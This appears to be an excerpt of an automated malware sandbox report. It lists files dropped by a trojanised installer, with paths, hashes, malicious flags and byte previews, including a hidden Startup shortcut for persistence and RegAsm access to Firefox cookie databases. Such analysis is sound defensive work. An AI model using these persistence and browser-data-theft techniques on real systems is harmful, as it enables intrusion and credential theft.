Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\license.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	ISO-8859 text, with very long lines (584), with CRLF line terminators
Category:	dropped
Size (bytes):	5036
Entropy (8bit):	4.851052909539205
Encrypted:	false
SSDEEP:	96:j0kJ9PfltyDJMJ3dhip+1dvToM7ic/67kZ3okehLeV7cYq7:j4ENhhvMMxeSGr7
MD5:	DC55027FDFFA56D9112D3D0E4F9AEA5E
SHA1:	94B340BB7E649B348F711E692159193C15FFE6B6
SHA-256:	5AF24498951E305FE55378C58808261359DC559CC11BE72A56726AECD1F8676F
SHA-512:	8DCD22BAC7ED110B4511D52B612FFB5748241951F4022D625691A9600138171324BCC69854D6C3AF1DF4ED50B746E803BD5DFF8B8CFC29E2D80A856E79D1E549
Malicious:	false
Reputation:	unknown
Preview:	............ .......... (.......) ......................... ............ .......... (.......) ........ ............ (......... .......) . ........ ....... . ... ............ ....... ............. .... (..... - ............ ... .........) ......... ... ... "10-......: ..... ...." (..... .........). ... ............ . ......... ........... .. ........ .... (..... - ............... ... .........) - .......... .............. ............. ......... .... .. ......... ... ... "10-......: ..... ....", ....... ........... ............ . ... . ........ ./... ........... .... - ......... ............ ............ (........ .... ..... ....... ...) ................ ..... .. ............. ........., ............ ...... ........... . ....... ......... . ............ . .............. ......... ........... (.........) ......... . ......... (....... ................ ........)............ ....... ...... (............. ..........)..=================================================........... ...... (....

C:\Users\user\AppData\Local\NewStar\newstar.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2257728
Entropy (8bit):	6.698633075276681
Encrypted:	false
SSDEEP:	49152:tfI2EJDf6TVt0idwFPYIuJIVjqNy1Pj2/4h8H:tTEJ2TVrdMPluJsqNuPj2X
MD5:	B786E157A1AA82F3B27FA1A61B13C39B
SHA1:	A1FD5AA5B8FA36E3FAC1F8D845E071F4A54869AB
SHA-256:	35BB4ECE6CACE13225D48AE1A26FE1C353376432A3E998EB4C21E77A4B3E036D
SHA-512:	65523802C0E3F1FF9139682087507E7078B0C22115E6DB2E57B940E4D9BCB3850EFB22ADDDFCDCA9411D972969B14F58CC77DE1DA2F38D69061E5EFD20B64734
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....OT_.........."................. .............@..........................."..........................................................`...........................................................................................................text............................... ..`.yhead8.` .......0..................@..@.data...WT... ...0... ..............@....rsrc....p.......p...P..............@..@.zhead8.........@...................a...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\NewStar\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	InnoSetup Log NewStar, version 0x30, 4845 bytes, 813848\user, "C:\Users\user\AppData\Local\NewStar"
Category:	dropped
Size (bytes):	4845
Entropy (8bit):	4.631240645967197
Encrypted:	false
SSDEEP:	96:O2WdWg38ZpS6bM2fV9zf+eOIh2Q4cVSQs0LeZ25rhkq6YHvITnC7:jWdWg3WpSaPLWHIhQcVSQ13
MD5:	F3D15E8E575EAFA7A20D6F738F433791
SHA1:	1D037A6A3D01A4AC76B848DDF957BF1F9B680059
SHA-256:	4E72BC82A6C9C17FDBF2C9EBAD4C9C301BE2CDCA2EF8152BB4539B6C30BAD8FA
SHA-512:	002D375E22E502345C4C545B81179CF3FA2DF7F33927F597A0C5BCC1233E2F182FF7D1643B18D0302A6D97464BFB6E9828B36C7194CD757ECCCE8DD5625C6FD7
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................NewStar.........................................................................................................................NewStar.........................................................................................................................0...........%...............................................................................................................f;5..................D....813848.user$C:\Users\user\AppData\Local\NewStar.............".... .....>......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User32.dll.GetSyst

C:\Users\user\AppData\Local\NewStar\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	716789
Entropy (8bit):	6.514257881433504
Encrypted:	false
SSDEEP:	12288:STPcYn5c/rPx37/zHBA6a5Ueyp2CrIEROlnrNORuyVwRxyFO:aPcYn5c/rPx37/zHBA6pDp2mIEiyCRxB
MD5:	7A7639C69EA1CE1B2274DEE104D481E9
SHA1:	5869128AA9452F933341A70506DFC0853E8778A4
SHA-256:	FD8CEE7E2E0C3C1EC8FF4BC3DAC59D5BFFD7D50A81319CA21E6E5A9B85F9D630
SHA-512:	0C03D7B12029D274522C0774D7C26CB632492F5C083FE1D2BD91B30F2261BBB8D96B9BFA6C85B8DF30610542D30FF9EAAEE0A7C9D9EEA25403B77D51F1B2128E
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................z........................@..............................................@...............................%..................................................................................................................CODE....\y.......z.................. ..`DATA.................~..............@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc...... ......................@..P.rsrc...............................@..P.....................P..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\NewStar\whatsnew.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	ISO-8859 text, with very long lines (339), with CRLF line terminators
Category:	dropped
Size (bytes):	15866
Entropy (8bit):	5.020543360778776
Encrypted:	false
SSDEEP:	384:Aqw+UCSCoILf3W+RC1L2X3Mnh+Yw/QptSMPWbaQP:Wc4Ir3Wh2DF4p4laQP
MD5:	BF23B0CB3FB4563A8E76D948920310FF
SHA1:	138D3D1C57DD3FF788843BC088B1A5C01F4852AE
SHA-256:	E98378B5F1FB11DE06503B2143B593D1CB66B2B2E8F831FA39472F83AFDAEB26
SHA-512:	D26A7FE7C29DF0D8843218FC2E89D25B2CA85C6CEE53AB454F17B442673006731AF31F49A7EB6EE1A982A6F347BE87E115D86017C5C1E5D8ECD29ECD640C5FD2
Malicious:	false
Reputation:	unknown
Preview:	* 10-......: ..... .... ..https://www.10-strike.ru/network-diagram/..(c) 2008-2023, 10-Strike Software..----------------------------.. ... ......:.... 3.9 * ...... 2023..- ........ ..... .. ......... ONVIF . ......... ..... ............... .. ..... . ............ RTSP URL...- ......... ........... ........ ......... .... ........... . ......... ........ .. ........- ........ ..... .. ........ ........ .... . ....... ....... .. ............- ......... ........... .......... ..... .. ........... ......... .........- ......... ........ ...... ...... ..... . Excel...- .......... ............... ......, ..... ...... ........ ..... ...... ... .............* 3.8 * .... 2022..- ......... ...... ......... . "........ ......"...- ....... ........ ..... ...........- ......... ......... ..... ....... ......... . "........ ....."...- ......... ........... ........ ............ ............ . ...... ......... . ............ .. .. ...... ..- ......... .... .............. ....... ............- ..

C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:	98304:yvOB51QmIWth3e1PTbEYBkQyShbkqdwOyAuYJvdVuWFY:y+51/Iqh3e1PTbE7QbCqeYbM8
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Tmp783F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\Tmp785F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ISO-8859 text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:Ba:0
MD5:	6EB91BF5CD6610314B769A9290AAC293
SHA1:	508F1941DD699C85BAFB015D973ADD048AA05800
SHA-256:	F0F3541F348FBC28A09D9F2CAC0C03C971E2842E83FDCC2D2C2FF51492AA3CBE
SHA-512:	E4FE1AF5EE420FA012B6FC702FFA499EB11BEDE93120FEF72A0ECC9EB09597C24D9EA87581C44041C1206599F7C3C932AF4DC450BDBD143C4EB67BCB6267FEF9
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\filename.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	436224
Entropy (8bit):	4.668285224972668
Encrypted:	false
SSDEEP:	6144:Ve5JhHX4bjZOTHP7ejzue8RW033b7EoswWit23GQ/qBZZH1hK0c/p49fhT93BhIP:Ve5D3aC7WuFPckbU25BZZu0SM3XIo
MD5:	556A8B2AFEF96F81ACDE6CA1A525650E
SHA1:	262909E4686ABA13DE7CA5A2BF187871FC4FE63B
SHA-256:	B867D368D4597334A036B46816473BE270D6779DB2428AAE75053AF8CACF1E85
SHA-512:	52A954CF545B6BFC2057A09B858074BD1DCEDD75A3983DFF14BC9E72B2DA47C375F30568A9310E2751E57291E9186B39D5B8D228F855102631AB95F9743B33D9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...o............."...0.................. ........@.. ....................................`.....................................O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........P...j...........O..p.............................................(.....z.,..{....,..{....oJ.....(K....(E...,.(=...(V...o>...~....()...V(W...(V...o>...(`...6.\|.....(.....~....-.r...p.....(7...o....s.........~.....~............~......(....Vs....(....t.........6.\|"....(....6.\|+....(..........(....~/...%-.&~......(...s....%./...(....t....(.... ....(.....s'..............(#...J~....,.(>...(?...V(....s.... ...o....6.\|:....(....2.(M...}>.....(F.....(

C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp

Download File

Process:	C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	705536
Entropy (8bit):	6.505796279723567
Encrypted:	false
SSDEEP:	12288:qTPcYn5c/rPx37/zHBA6a5Ueyp2CrIEROlnrNORuyVwRxyF:iPcYn5c/rPx37/zHBA6pDp2mIEiyCRx+
MD5:	4D0283F3182C82FB1C52C560BB1A0758
SHA1:	AE8C89B350F1A3D9AC490813792209F4DEB2B6E9
SHA-256:	59F68B1CD14D710D798AA1955809C798960DEC26AB54916388F29AE5377C0124
SHA-512:	1EA171746AF436E4C41CACB8717EF99682EF741B85006021D52BB5E2CFE3D8A9F24285AB7670D6C42EDDF75C1D4C35ABBECCF5B0E3B0D08E9BAFFAC8D22DF23C
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................z........................@..............................................@...............................%..................................................................................................................CODE....\y.......z.................. ..`DATA.................~..............@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc...... ......................@..P.rsrc...............................@..P.....................P..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-QIRUR.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-QIRUR.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.289297026665552
Encrypted:	false
SSDEEP:	48:Sv1LfWvPcXegCPUo1vlZQrAxoONfHFZONfH3d1xCWMBFNL2pGSS4k+bkg6j0KHc:wfkcXegaJ/ZAYNzcld1xaX12pfSKvkc
MD5:	C8871EFD8AF2CF4D9D42D1FF8FADBF89
SHA1:	D0EACD5322C036554D509C7566F0BCC7607209BD
SHA-256:	E4FC574A01B272C2D0AED0EC813F6D75212E2A15A5F5C417129DD65D69768F40
SHA-512:	2735BB610060F749E26ACD86F2DF2B8A05F2BDD3DCCF3E4B2946EBB21BA0805FB492C474B1EEB2C5B8BF1A421F7C1B8728245F649C644F4A9ECC5BD8770A16F6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....HP..........#............................@.............................`..............................................................<!.......P.......@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc........P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-QIRUR.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\twekgmwoe\slrmrjyhe

Download File

Process:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
File Type:	data
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.738837277671155
Encrypted:	false
SSDEEP:	3:7OoQGlhWhUbvYoQGlzVmqH2:rQoAUBQoZt2
MD5:	946BBF62831312802D143EBF86C55554
SHA1:	3CE1176F9B16D10A31B735900A7F6068BA3EC1D5
SHA-256:	E8837B8668BF53F6F43EFE17A74DFC66AC35D869D5FA8DDCEB96A5B9429D5C42
SHA-512:	7A262874C25C55A553C5AEAA1013C280570BB9F40004DC280590FD1DD19E51A753E736AC62D7E5CFB4539B4CA7AC2BAD51F3DFA12A7BE50A9841D0E49ED7FDCD
Malicious:	false
Reputation:	unknown
Preview:	.sYYYY[....5.......0)[CY[AWMOWHKJWJJ[.sYYYY[....5.......-...[CYHNKLOIJMOIs.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Download File

Process:	C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Fri Sep 6 05:17:34 2024, mtime=Fri Sep 6 05:17:34 2024, atime=Fri Sep 6 05:17:22 2024, length=8684256, window=hide
Category:	dropped
Size (bytes):	1250
Entropy (8bit):	4.887149249108834
Encrypted:	false
SSDEEP:	24:8tcU1CkldwRdgK2IKiT98MAJfnmti4HesgxHqyFm:8f1CkMREITT9OxnNsyF
MD5:	DC045CECB5111CB13D325A17AFAD273E
SHA1:	8CF9EBAE782CD1DD383C94C84C0AD56A06DFFAEA
SHA-256:	B57481721D645DCB21101B19D6F4A5158103B003462FE633CEEBC35E28C8C5DD
SHA-512:	77DF55C75F9BF439F558360C43DB351DAE6AA94ADF1974803DC5A4269D85FD099D9A04DC2EB951CEAAA0F0EF662DF8E18DACFF608860D9F440385165FD52910A
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... .....v$...y..v$...QI,o$...........................4.:..DG..Yr?.D..U..k0.&...&......vk.v.......Z$.....#w$.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^&Y.2...........................%..A.p.p.D.a.t.a...B.P.1.....&Y22..Local.<......CW.^&Y22....b.........................L.o.c.a.l.....N.1.....&Y22..Temp..:......CW.^&Y22....l.........................T.e.m.p.....f.1.....&Y22..POWERE~1..N......&Y22&Y22....e.....................c...P.o.w.e.r.E.x.p.e.r.t.N.N.T.....r.2.....&Y,2 .POWERE~1.EXE..V......&Y22&Y22....f......................h..P.o.w.e.r.E.x.p.e.r.t.N.N.T...e.x.e.......r...............-.......q...........m4I-.....C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe....P.o.w.e.r.E.x.p.e.r.t.N.N.T.>.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.P.o.w.e.r.E.x.p.e.r.t.N.N.T.\.P.o.w.e.r.E.x.p.e.r.t.N.N.T...e.x.e.........\|....I.J.H..K..:...`.......X.......813848...........hT..CrF.f4... ......l...,..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	513536
Entropy (8bit):	7.993353372834414
Encrypted:	true
